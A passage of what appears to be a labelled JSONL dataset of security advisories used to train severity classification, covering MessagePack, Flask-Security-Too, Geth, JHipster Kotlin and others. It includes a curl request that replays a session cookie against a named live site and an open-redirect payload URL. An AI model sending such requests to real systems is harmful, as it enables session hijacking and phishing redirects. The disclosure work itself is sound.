own\ncustom implementation when `T` matches your type, and fallback to `return base.GetHashCollisionResistantEqualityComparer<T>();` for types you do not have custom implementations for.\n\nUnrelated to this advisory, but as general security guidance, you should also avoid the Typeless serializer/formatters/resolvers for untrusted data as that opens the door for the untrusted data to potentially deserialize unanticipated types that can compromise security.\n\n#### MessagePack 1.x users\n\n1. Upgrade to any 1.9.x version.\n\n1. When deserializing untrusted data, put MessagePack into a more secure mode with:\n\n```cs\n    MessagePackSecurity.Active = MessagePackSecurity.UntrustedData;\n    ```\n\nIn MessagePack v1.x this is a static property and thus the security level is shared by the entire process or AppDomain.\n    Use MessagePack v2.1 or later for better control over the security level for your particular use.\n\n1. Any code produced by mpc should be regenerated with the mpc tool with the matching (patched) version. Such generated code usually is written to a file called `Generated.cs`. A patched `Generated.cs` file will typically reference the `MessagePackSecurity` class.\n\nReview any custom-written `IMessagePackFormatter<T>` implementations in your project or that you might use from 3rd party packages to ensure they also utilize the `MessagePackSecurity` class as required.\n    In particular, a formatter that deserializes an object (as opposed to a primitive value) should wrap the deserialization in a `using (MessagePackSecurity.DepthStep())` block. For example:\n\n```cs\n    public MyObject Deserialize(ref MessagePackReader reader, MessagePackSerializerOptions options)\n    {\n        if (reader.TryReadNil())\n        {\n            return default;\n        }\n        else\n        {\n            using (MessagePackSecurity.DepthStep()) // STACK OVERFLOW MITIGATION\n            {\n                MyObject o = new MyObject();\n                // deserializ", "text_raw": "Untrusted data can lead to DoS attack due to hash collisions and stack overflow in MessagePack\n\n[Severity: MEDIUM]\n\n### Impact\n\nWhen this library is used to deserialize messagepack data from an untrusted source, there is a risk of a denial of service attack by either of two vectors:\n\n1. hash collisions - leading to large CPU consumption disproportionate to the size of the data being deserialized.\n1. stack overflow - leading to the deserializing process crashing.\n\n### Patches\n\nThe following steps are required to mitigate this risk.\n\n1. Upgrade to a version of the library where a fix is available\n1. Add code to your application to put MessagePack into the defensive `UntrustedData` mode.\n1. Identify all MessagePack extensions that implement `IMessagePackFormatter<T>` implementations that do not ship with the MessagePack library to include the security mitigations. This includes those acquired from 3rd party packages and classes included directly into your project. Any AOT formatters generated with the MPC tool must be regenerated with the patched version of mpc.\n1. Review your messagepack-serializable data structures for hash-based collections that use custom or unusual types for the hashed key. See below for details on handling such situations.\n\nReview the `MessagePackSecurity` class to tweak any settings as necessary to strike the right balance between performance, functionality, and security.\n\nSpecialized `IEqualityComparer<T>` implementations provide the hash collision resistance.\nEach type of hashed key may require a specialized implementation of its own.\nThe patched MessagePack library includes many such implementations for primitive types commonly used as keys in hash-based collections.\nIf your data structures use custom types as keys in these hash-based collections,\nputting MessagePack in `UntrustedData` mode may lead the deserializer to throw an exception\nbecause no safe `IEqualityComparer<T>` is available for your custom `T` type.\nYou can provide your own safe implementation by deriving from the `MessagePackSecurity` class\nand overriding the `GetHashCollisionResistantEqualityComparer<T>()` method to return your own\ncustom implementation when `T` matches your type, and fallback to `return base.GetHashCollisionResistantEqualityComparer<T>();` for types you do not have custom implementations for.\n\nUnrelated to this advisory, but as general security guidance, you should also avoid the Typeless serializer/formatters/resolvers for untrusted data as that opens the door for the untrusted data to potentially deserialize unanticipated types that can compromise security.\n\n#### MessagePack 1.x users\n\n1. Upgrade to any 1.9.x version.\n\n1. When deserializing untrusted data, put MessagePack into a more secure mode with:\n\n    ```cs\n    MessagePackSecurity.Active = MessagePackSecurity.UntrustedData;\n    ```\n\n    In MessagePack v1.x this is a static property and thus the security level is shared by the entire process or AppDomain.\n    Use MessagePack v2.1 or later for better control over the security level for your particular use.\n\n1. Any code produced by mpc should be regenerated with the mpc tool with the matching (patched) version. Such generated code usually is written to a file called `Generated.cs`. A patched `Generated.cs` file will typically reference the `MessagePackSecurity` class.\n\n    Review any custom-written `IMessagePackFormatter<T>` implementations in your project or that you might use from 3rd party packages to ensure they also utilize the `MessagePackSecurity` class as required.\n    In particular, a formatter that deserializes an object (as opposed to a primitive value) should wrap the deserialization in a `using (MessagePackSecurity.DepthStep())` block. For example:\n\n    ```cs\n    public MyObject Deserialize(ref MessagePackReader reader, MessagePackSerializerOptions options)\n    {\n        if (reader.TryReadNil())\n        {\n            return default;\n        }\n        else\n        {\n            using (MessagePackSecurity.DepthStep()) // STACK OVERFLOW MITIGATION\n            {\n                MyObject o = new MyObj", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-31", "split": "train"}
-{"id": "7a70f21f9296c2091ad1", "text": "Improperly Controlled Modification of Object Prototype Attributes\n\n### Impact\n\nThe software receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.\n\n### Patches\n\n`think-config@1.1.3` patched it, anyone used `think-config` should upgrade to `>=1.1.3` version.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/1321.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [thinkjs/thinkjs](https://github.com/thinkjs/thinkjs)\n* Email us at [i@imnerd.org](mailto:i@imnerd.org)", "text_raw": "Improperly Controlled Modification of Object Prototype Attributes\n\n[Severity: HIGH]\n\n### Impact\n\nThe software receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.\n\n### Patches\n\n`think-config@1.1.3` patched it, anyone used `think-config` should upgrade to `>=1.1.3` version.\n\n### References\n\nhttps://cwe.mitre.org/data/definitions/1321.html\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [thinkjs/thinkjs](https://github.com/thinkjs/thinkjs)\n* Email us at [i@imnerd.org](mailto:i@imnerd.org)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-03", "split": "train"}
-{"id": "9092b027ca9031f7542d", "text": "Cross-site scripting in Dutchcoders transfer.sh\n\nDutchcoders transfer.sh before 1.2.4 allows XSS via an inline view.", "text_raw": "Cross-site scripting in Dutchcoders transfer.sh\n\n[Severity: MEDIUM]\n\nDutchcoders transfer.sh before 1.2.4 allows XSS via an inline view.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "e81ebcd670f5ed1744a9", "text": "Open Redirect in Flask-Security-Too\n\n# Withdrawn\n\nDuplicate of GHSA-6qmf-fj6m-686c\n\n# Original description\n\nFlask-Security-Too allows redirects after many successful views (e.g. /login) by honoring the ?next query param. There is code in FS to validate that the url specified in the next parameter is either relative OR has the same netloc (network location) as the requesting URL.\n\nThis check utilizes Pythons urlsplit library. However many browsers are very lenient on the kind of URL they accept and 'fill in the blanks' when presented with a possibly incomplete URL. As a concrete example - setting http://login?next=\\\\\\github.com\nwill pass FS's relative URL check however many browsers will gladly convert this to http://github.com. Thus an attacker could send such a link to an unwitting user, using a legitimate site and have it redirect to whatever site they want.", "text_raw": "Open Redirect in Flask-Security-Too\n\n[Severity: LOW]\n\n# Withdrawn\n\nDuplicate of GHSA-6qmf-fj6m-686c\n\n# Original description\n\nFlask-Security-Too allows redirects after many successful views (e.g. /login) by honoring the ?next query param. There is code in FS to validate that the url specified in the next parameter is either relative OR has the same netloc (network location) as the requesting URL.\n\nThis check utilizes Pythons urlsplit library. However many browsers are very lenient on the kind of URL they accept and 'fill in the blanks' when presented with a possibly incomplete URL. As a concrete example - setting http://login?next=\\\\\\github.com\nwill pass FS's relative URL check however many browsers will gladly convert this to http://github.com. Thus an attacker could send such a link to an unwitting user, using a legitimate site and have it redirect to whatever site they want.\n\nThis is considered a low severity due to the fact that if Werkzeug is used (which is very common with Flask applications) as the WSGI layer, it by default ALWAYS ensures that the Location header is absolute - thus making this attack vector mute. It is possible for application writers to modify this default behavior by setting the 'autocorrect_location_header=False`.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-12-14", "split": "train"}
-{"id": "272a3da5c3e033d1b12f", "text": "Apache is vulnerable to XXE in XSD validation processor\n\nApache Camel 2.20.0 to 2.20.3 and 2.21.0 Core is vulnerable to XXE in XSD validation processor.", "text_raw": "Apache is vulnerable to XXE in XSD validation processor\n\n[Severity: CRITICAL]\n\nApache Camel 2.20.0 to 2.20.3 and 2.21.0 Core is vulnerable to XXE in XSD validation processor.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "343910cf910708196796", "text": "aubio Buffer Overflow vulnerability\n\naubio v0.4.0 to v0.4.8 has a Buffer Overflow in `new_aubio_tempo`.", "text_raw": "aubio Buffer Overflow vulnerability\n\n[Severity: CRITICAL]\n\naubio v0.4.0 to v0.4.8 has a Buffer Overflow in `new_aubio_tempo`.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-07-26", "split": "train"}
-{"id": "19a5967b8146a5e773af", "text": "Django Channels leakage of session identifiers using legacy AsgiHandler\n\nDjango Channels 3.x before 3.0.3 allows remote attackers to obtain sensitive information from a different request scope. The legacy channels.http.AsgiHandler class, used for handling HTTP type requests in an ASGI environment prior to Django 3.0, did not correctly separate request scopes in Channels 3.0. In many cases this would result in a crash but, with correct timing, responses could be sent to the wrong client, resulting in potential leakage of session identifiers and other sensitive data. Note that this affects only the legacy Channels provided class, and not Django's similar ASGIHandler, available from Django 3.0.", "text_raw": "Django Channels leakage of session identifiers using legacy AsgiHandler\n\n[Severity: HIGH]\n\nDjango Channels 3.x before 3.0.3 allows remote attackers to obtain sensitive information from a different request scope. The legacy channels.http.AsgiHandler class, used for handling HTTP type requests in an ASGI environment prior to Django 3.0, did not correctly separate request scopes in Channels 3.0. In many cases this would result in a crash but, with correct timing, responses could be sent to the wrong client, resulting in potential leakage of session identifiers and other sensitive data. Note that this affects only the legacy Channels provided class, and not Django's similar ASGIHandler, available from Django 3.0.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "698312d58f1aef150a1e", "text": "jackson-dataformat-xml vulnerable to XML external entity (XXE)\n\nXML external entity (XXE) vulnerability in XmlMapper in the Data format extension for Jackson (aka jackson-dataformat-xml) allows attackers to have unspecified impact via unknown vectors.", "text_raw": "jackson-dataformat-xml vulnerable to XML external entity (XXE)\n\n[Severity: CRITICAL]\n\nXML external entity (XXE) vulnerability in XmlMapper in the Data format extension for Jackson (aka jackson-dataformat-xml) allows attackers to have unspecified impact via unknown vectors.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-18", "split": "train"}
-{"id": "60a5c7570f11780917de", "text": "[Session Fixation] Affiliates - Session Fixation\n\nLOCATION:\n● https://affiliates.kromtech.com\n\nISSUE DESCRIPTION:\nUser can use the same session token after logout. Attacker can repeat request with token that should be marked as invalidated.\n\nPROOF OF VULNERABILITY:\nRequest made after Logout with the same cookie value.\n\ncurl -i -s -k -X $'GET' \\\n-H $'Host: affiliates.kromtech.com' -H $'Cookie: sid=91iqik6qtblp0vsu9b5j7fgal0;' \\\n-b $'sid=91iqik6qtblp0vsu9b5j7fgal0' \\\n$'https://affiliates.kromtech.com/account'\n\nRECOMMENDATIONS:\nThe logout function should be prominently visible to the user, explicitly invalidate a user’s session and disallow reuse of the session token. Server should provide new session id to user browser after logout.\n\n## Impact\n\nA remote attacker can gain access to victim’s session and perform arbitrary actions with privileges of the user within the compromised session.", "text_raw": "[Session Fixation] Affiliates - Session Fixation\n\nSEVERITY: Medium\n\nLOCATION:\n● https://affiliates.kromtech.com\n\nISSUE DESCRIPTION:\nUser can use the same session token after logout. Attacker can repeat request with token that should be marked as invalidated.\n\nPROOF OF VULNERABILITY:\nRequest made after Logout with the same cookie value.\n\ncurl -i -s -k -X $'GET' \\\n-H $'Host: affiliates.kromtech.com' -H $'Cookie: sid=91iqik6qtblp0vsu9b5j7fgal0;' \\\n-b $'sid=91iqik6qtblp0vsu9b5j7fgal0' \\\n$'https://affiliates.kromtech.com/account'\n\nRECOMMENDATIONS:\nThe logout function should be prominently visible to the user, explicitly invalidate a user’s session and disallow reuse of the session token. Server should provide new session id to user browser after logout.\n\n## Impact\n\nA remote attacker can gain access to victim’s session and perform arbitrary actions with privileges of the user within the compromised session.", "severity": "medium", "severity_label": 1, "source": "hackerone", "timestamp": "2020-06-14", "split": "train"}
-{"id": "3a76fb0d0120e6296aac", "text": "An issue in Atomix v3.1.5 allows attackers to cause a denial of service (DoS) via false member down event messages.", "text_raw": "An issue in Atomix v3.1.5 allows attackers to cause a denial of service (DoS) via false member down event messages.\n\n[Severity: MEDIUM]", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "e10f58756db51ab3dd81", "text": "Denial of Service in content\n\nVersions of `content` are vulnerable to Denial of Service. The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/content`. Please update your dependencies to use `@hapi/content`.", "text_raw": "Denial of Service in content\n\n[Severity: HIGH]\n\nVersions of `content` are vulnerable to Denial of Service. The Content-Encoding HTTP header parser has a vulnerability which will cause the function to throw a system error if the header contains some invalid values. Because hapi rethrows system errors (as opposed to catching expected application errors), the error is thrown all the way up the stack. If no unhandled exception handler is available, the application will exist, allowing an attacker to shut down services.\n\n## Recommendation\n\nThis package is deprecated and is now maintained as `@hapi/content`. Please update your dependencies to use `@hapi/content`.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "037cddec9a8f91738557", "text": "Malicious Package in cicada-render\n\nAll versions of `cicada-render` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in cicada-render\n\n[Severity: CRITICAL]\n\nAll versions of `cicada-render` contain malicious code. The package uploads system information to a remote server, downloads a file and executes it.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "c6b9e3b46c4e846139a8", "text": "Denial of Service in uap-core\n\n## Impact\n\nSome regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.\n\n## Patches\n\nPlease update uap-core to >= v0.11.0\n\nDownstream packages such as uap-python, uap-ruby etc which depend upon uap-core follow different version schemes.", "text_raw": "Denial of Service in uap-core\n\n[Severity: HIGH]\n\n## Impact\n\nSome regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.\n\n## Patches\n\nPlease update uap-core to >= v0.11.0\n\nDownstream packages such as uap-python, uap-ruby etc which depend upon uap-core follow different version schemes.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "62ad200a27accdb46af8", "text": "Memory over-allocation in evm-core\n\nPrior to the patch, when executing specific EVM opcodes related\nto memory operations that use `evm_core::Memory::copy_large`, the\ncrate can over-allocate memory when it is not needed, making it\npossible for an attacker to perform denial-of-service attack.\n\nThe flaw was corrected in commit `19ade85`.", "text_raw": "Memory over-allocation in evm-core\n\n[Severity: MEDIUM]\n\nPrior to the patch, when executing specific EVM opcodes related\nto memory operations that use `evm_core::Memory::copy_large`, the\ncrate can over-allocate memory when it is not needed, making it\npossible for an attacker to perform denial-of-service attack.\n\nThe flaw was corrected in commit `19ade85`.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e054b99186567fecad6d", "text": "Inefficient Regular Expression Complexity in code-server\n\ncode-server is vulnerable to Inefficient Regular Expression Complexity", "text_raw": "Inefficient Regular Expression Complexity in code-server\n\n[Severity: HIGH]\n\ncode-server is vulnerable to Inefficient Regular Expression Complexity", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-20", "split": "train"}
-{"id": "1e182545f9130afb5862", "text": "Axios vulnerable to Server-Side Request Forgery\n\nAxios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.", "text_raw": "Axios vulnerable to Server-Side Request Forgery\n\n[Severity: MEDIUM]\n\nAxios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-01-04", "split": "train"}
-{"id": "4d9198b21d1087864841", "text": "Authentication bypass in Apache Zeppelin\n\nAuthentication bypass vulnerability in Apache Zeppelin allows an attacker to bypass Zeppelin authentication mechanism to act as another user. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.", "text_raw": "Authentication bypass in Apache Zeppelin\n\n[Severity: HIGH]\n\nAuthentication bypass vulnerability in Apache Zeppelin allows an attacker to bypass Zeppelin authentication mechanism to act as another user. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-07", "split": "train"}
-{"id": "8ca483cbe9b9e6fadf9e", "text": "Prototype Pollution in irrelon-path and @irrelon/path\n\nThe package irrelon-path before 4.7.0; the package @irrelon/path before 4.7.0 are vulnerable to Prototype Pollution via the set, unSet, pushVal and pullVal functions.", "text_raw": "Prototype Pollution in irrelon-path and @irrelon/path\n\n[Severity: CRITICAL]\n\nThe package irrelon-path before 4.7.0; the package @irrelon/path before 4.7.0 are vulnerable to Prototype Pollution via the set, unSet, pushVal and pullVal functions.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "a23aeac326dee1cd362e", "text": "markdown2 Regular Expression Denial of Service\n\nmarkdown2 >=1.0.1.18, fixed in 2.4.0, is affected by a regular expression denial of service vulnerability. If an attacker provides a malicious string, it can make markdown2 processing difficult or delayed for an extended period of time.", "text_raw": "markdown2 Regular Expression Denial of Service \n\n[Severity: HIGH]\n\nmarkdown2 >=1.0.1.18, fixed in 2.4.0, is affected by a regular expression denial of service vulnerability. If an attacker provides a malicious string, it can make markdown2 processing difficult or delayed for an extended period of time.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-02", "split": "train"}
-{"id": "663a3419b6cca1494d70", "text": "Consensus flaw during block processing in github.com/ethereum/go-ethereum\n\n### Impact\n\nA consensus-vulnerability in Geth could cause a chain split, where vulnerable versions refuse to accept the canonical chain.\n\n### Description\n\nA flaw was repoted at 2020-08-11 by John Youngseok Yang (Software Platform Lab), where a particular sequence of transactions could cause a consensus failure.\n\n- Tx 1:\n  - `sender` invokes `caller`.\n  - `caller` invokes `0xaa`. `0xaa` has 3 wei, does a self-destruct-to-self\n  - `caller` does a  `1 wei` -call to `0xaa`, who thereby has 1 wei (the code in `0xaa` still executed, since the tx is still ongoing, but doesn't redo the selfdestruct, it takes a different path if callvalue is non-zero)\n\n- Tx 2:\n  - `sender` does a 5-wei call to 0xaa. No exec (since no code).\n\nIn geth, the result would be that `0xaa` had `6 wei`, whereas OE reported (correctly) `5` wei. Furthermore, in geth, if the second tx was not executed, the `0xaa` would be destructed, resulting in `0 wei`. Thus obviously wrong.\n\nIt was determined that the root cause was this [commit](https://github.com/ethereum/go-ethereum/commit/223b950944f494a5b4e0957fd9f92c48b09037ad) from [this PR](https://github.com/ethereum/go-ethereum/pull/19953). The semantics of `createObject` was subtly changd, into returning a non-nil object (with `deleted=true`) where it previously did not if the account had been destructed. This return value caused the new object to inherit the old `balance`:\n\n```golang\nfunc (s *StateDB) CreateAccount(addr common.Address) {\n\tnewObj, prev := s.createObject(addr)\n\tif prev != nil {\n\t\tnewObj.setBalance(prev.data.Balance)\n\t}\n}\n```\n\nIt was determined that the minimal possible correct fix was\n\n```diff\n+++ b/core/state/statedb.go\n@@ -589,7 +589,10 @@ func (s *StateDB) createObject(addr common.Address) (newobj, prev *stateObject)\n                s.journal.append(resetObjectChange{prev: prev, prevdestruct: prevdestruct})\n        }\n        s.setStateObject(newobj)\n-       return newobj, prev\n+       if prev != nil && !prev.deleted {\n+               return newobj, prev\n+       }\n+       return newobj, nil\n```\n\n### Patches\n\nSee above. The fix was included in Geth `v1.9.20` \"Paragade\".\n\n### Credits\n\nThe bug was found by @johnyangk and reported via bounty@ethereum.org.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "text_raw": "Consensus flaw during block processing in github.com/ethereum/go-ethereum\n\n[Severity: MEDIUM]\n\n### Impact\n\nA consensus-vulnerability in Geth could cause a chain split, where vulnerable versions refuse to accept the canonical chain. \n\n### Description\n\n\nA flaw was repoted at 2020-08-11 by John Youngseok Yang (Software Platform Lab), where a particular sequence of transactions could cause a consensus failure.\n\n- Tx 1:\n  - `sender` invokes `caller`.\n  - `caller` invokes `0xaa`. `0xaa` has 3 wei, does a self-destruct-to-self\n  - `caller` does a  `1 wei` -call to `0xaa`, who thereby has 1 wei (the code in `0xaa` still executed, since the tx is still ongoing, but doesn't redo the selfdestruct, it takes a different path if callvalue is non-zero)\n\n- Tx 2:\n  - `sender` does a 5-wei call to 0xaa. No exec (since no code). \n\nIn geth, the result would be that `0xaa` had `6 wei`, whereas OE reported (correctly) `5` wei. Furthermore, in geth, if the second tx was not executed, the `0xaa` would be destructed, resulting in `0 wei`. Thus obviously wrong. \n\nIt was determined that the root cause was this [commit](https://github.com/ethereum/go-ethereum/commit/223b950944f494a5b4e0957fd9f92c48b09037ad) from [this PR](https://github.com/ethereum/go-ethereum/pull/19953). The semantics of `createObject` was subtly changd, into returning a non-nil object (with `deleted=true`) where it previously did not if the account had been destructed. This return value caused the new object to inherit the old `balance`:\n\n```golang\nfunc (s *StateDB) CreateAccount(addr common.Address) {\n\tnewObj, prev := s.createObject(addr)\n\tif prev != nil {\n\t\tnewObj.setBalance(prev.data.Balance)\n\t}\n}\n```\n\nIt was determined that the minimal possible correct fix was\n\n```diff\n+++ b/core/state/statedb.go\n@@ -589,7 +589,10 @@ func (s *StateDB) createObject(addr common.Address) (newobj, prev *stateObject)\n                s.journal.append(resetObjectChange{prev: prev, prevdestruct: prevdestruct})\n        }\n        s.setStateObject(newobj)\n-       return newobj, prev\n+       if prev != nil && !prev.deleted {\n+               return newobj, prev\n+       }\n+       return newobj, nil\n```\n\n### Patches\n\nSee above. The fix was included in Geth `v1.9.20` \"Paragade\".\n\n### Credits\n\nThe bug was found by @johnyangk and reported via bounty@ethereum.org.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)\n* Email us at [security@ethereum.org](mailto:security@ethereum.org)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-29", "split": "train"}
-{"id": "715c450245b72a7afa40", "text": "JHipster Kotlin using insecure source of randomness `RandomStringUtils` before v1.2.0\n\nJHipster Kotlin is using an insecure source of randomness to generate all of its random values. JHipster Kotlin relies upon apache commons lang3 `RandomStringUtils`.\n\nFrom the documentation:\n\n> Caveat: Instances of Random, upon which the implementation of this class relies, are not cryptographically secure.\n> \\- https://commons.apache.org/proper/commons-lang/javadocs/api-3.9/org/apache/commons/lang3/RandomStringUtils.html\n\nHere are the examples of JHipster Kotlin's use of an insecure PRNG:\n\nhttps://github.com/jhipster/jhipster-kotlin/blob/193ae8f13c0be686f9687e78bacfedb144c47d8c/generators/server/templates/src/main/kotlin/package/service/util/RandomUtil.kt.ejs#L32\n\n## Proof Of Concepts Already Exist\n\nThere has been a POC of taking one RNG value generated `RandomStringUtils` and reversing it to generate all of the past/future RNG values public since March 3rd, 2018.\n\nhttps://medium.com/@alex91ar/the-java-soothsayer-a-practical-application-for-insecure-randomness-c67b0cd148cd\n\nPOC Repository: https://github.com/alex91ar/randomstringutils\n\n## Potential Impact Technical\n\nAll that is required is to get one password reset token from a JHipster Kotlin generated service and using the POC above, you can reverse what all future password reset tokens to be generated by this server. This allows an attacker to pick and choose what account they would like to takeover by sending account password reset requests for targeted accounts.\n\n## Potential Impact Scale\n\nNot as large as for the original jhipster project as the kotlin blueprint is not that widely used.\n\n### Patches\n\nUpdate your generated applications to > 1.2.0\n\n### Workarounds\n\nChange the content of `RandomUtil.kt` like this:\n\n```kotlin\nimport java.security.SecureRandom\nimport org.apache.commons.lang3.RandomStringUtils\n\nprivate const val DEF_COUNT = 20\n\nobject RandomUtil {\n    private val secureRandom: SecureRandom = SecureRandom()\n\ninit {\n        secureRandom.nextBytes(byteArrayOf(64.toByte()))\n    }\n\nprivate fun generateRandomAlphanumericString(): String {\n        return RandomStringUtils.random(DEF_COUNT, 0, 0, true, true, null, secureRandom)\n    }\n\n/**\n    * Generate a password.\n    *\n    * @return the generated password.\n    */\n    fun generatePassword(): String = generateRandomAlphanumericString()\n}\n```\n\nImportant is to exchange **every** call of `RandomStringUtils.randomAlphaNumeric`.\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [JHipster Kotlin](https://github.com/jhipster/jhipster-kotlin)", "text_raw": "JHipster Kotlin using insecure source of randomness `RandomStringUtils` before v1.2.0\n\n[Severity: CRITICAL]\n\nJHipster Kotlin is using an insecure source of randomness to generate all of its random values. JHipster Kotlin relies upon apache commons lang3 `RandomStringUtils`.\n\nFrom the documentation:\n\n> Caveat: Instances of Random, upon which the implementation of this class relies, are not cryptographically secure.\n> \\- https://commons.apache.org/proper/commons-lang/javadocs/api-3.9/org/apache/commons/lang3/RandomStringUtils.html\n\nHere are the examples of JHipster Kotlin's use of an insecure PRNG:\n\nhttps://github.com/jhipster/jhipster-kotlin/blob/193ae8f13c0be686f9687e78bacfedb144c47d8c/generators/server/templates/src/main/kotlin/package/service/util/RandomUtil.kt.ejs#L32\n\n## Proof Of Concepts Already Exist\n\nThere has been a POC of taking one RNG value generated `RandomStringUtils` and reversing it to generate all of the past/future RNG values public since March 3rd, 2018.\n\nhttps://medium.com/@alex91ar/the-java-soothsayer-a-practical-application-for-insecure-randomness-c67b0cd148cd\n\nPOC Repository: https://github.com/alex91ar/randomstringutils\n\n\n## Potential Impact Technical\n\nAll that is required is to get one password reset token from a JHipster Kotlin generated service and using the POC above, you can reverse what all future password reset tokens to be generated by this server. This allows an attacker to pick and choose what account they would like to takeover by sending account password reset requests for targeted accounts.\n\n## Potential Impact Scale\n\nNot as large as for the original jhipster project as the kotlin blueprint is not that widely used.\n\n### Patches\n\nUpdate your generated applications to > 1.2.0\n\n### Workarounds\n\nChange the content of `RandomUtil.kt` like this:\n\n```kotlin\nimport java.security.SecureRandom\nimport org.apache.commons.lang3.RandomStringUtils\n\nprivate const val DEF_COUNT = 20\n\nobject RandomUtil {\n    private val secureRandom: SecureRandom = SecureRandom()\n\n    init {\n        secureRandom.nextBytes(byteArrayOf(64.toByte()))\n    }\n\n    private fun generateRandomAlphanumericString(): String {\n        return RandomStringUtils.random(DEF_COUNT, 0, 0, true, true, null, secureRandom)\n    }\n\n    /**\n    * Generate a password.\n    *\n    * @return the generated password.\n    */\n    fun generatePassword(): String = generateRandomAlphanumericString()\n}\n```\n\nImportant is to exchange **every** call of `RandomStringUtils.randomAlphaNumeric`.\n\n\n\n### For more information\n\nIf you have any questions or comments about this advisory:\n* Open an issue in [JHipster Kotlin](https://github.com/jhipster/jhipster-kotlin)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-06-26", "split": "train"}
-{"id": "9cd7a384f88adfa06618", "text": "Class destructors causing side-effects when being unserialized in TYPO3 CMS\n\nCalling unserialize() on malicious user-submitted content can result in the following scenarios:\n- trigger deletion of arbitrary directory in file system (if writable for web server)\n- trigger message submission via email using identity of web site (mail relay)\n\nAnother insecure deserialization vulnerability is required to actually exploit mentioned aspects.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-004", "text_raw": "Class destructors causing side-effects when being unserialized in TYPO3 CMS\n\n[Severity: HIGH]\n\nCalling unserialize() on malicious user-submitted content can result in the following scenarios:\n- trigger deletion of arbitrary directory in file system (if writable for web server)\n- trigger message submission via email using identity of web site (mail relay)\n\nAnother insecure deserialization vulnerability is required to actually exploit mentioned aspects.\n\nUpdate to TYPO3 versions 9.5.17 or 10.4.2 that fix the problem described.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-004", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "2278b29103b23a9cdf45", "text": "The Admin UI in Apache Ranger before 0.5.1 does not properly handle authentication requests that lack a password\n\nThe Admin UI in Apache Ranger before 0.5.1 does not properly handle authentication requests that lack a password, which allows remote attackers to bypass authentication by leveraging knowledge of a valid username.", "text_raw": "The Admin UI in Apache Ranger before 0.5.1 does not properly handle authentication requests that lack a password\n\n[Severity: CRITICAL]\n\nThe Admin UI in Apache Ranger before 0.5.1 does not properly handle authentication requests that lack a password, which allows remote attackers to bypass authentication by leveraging knowledge of a valid username.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
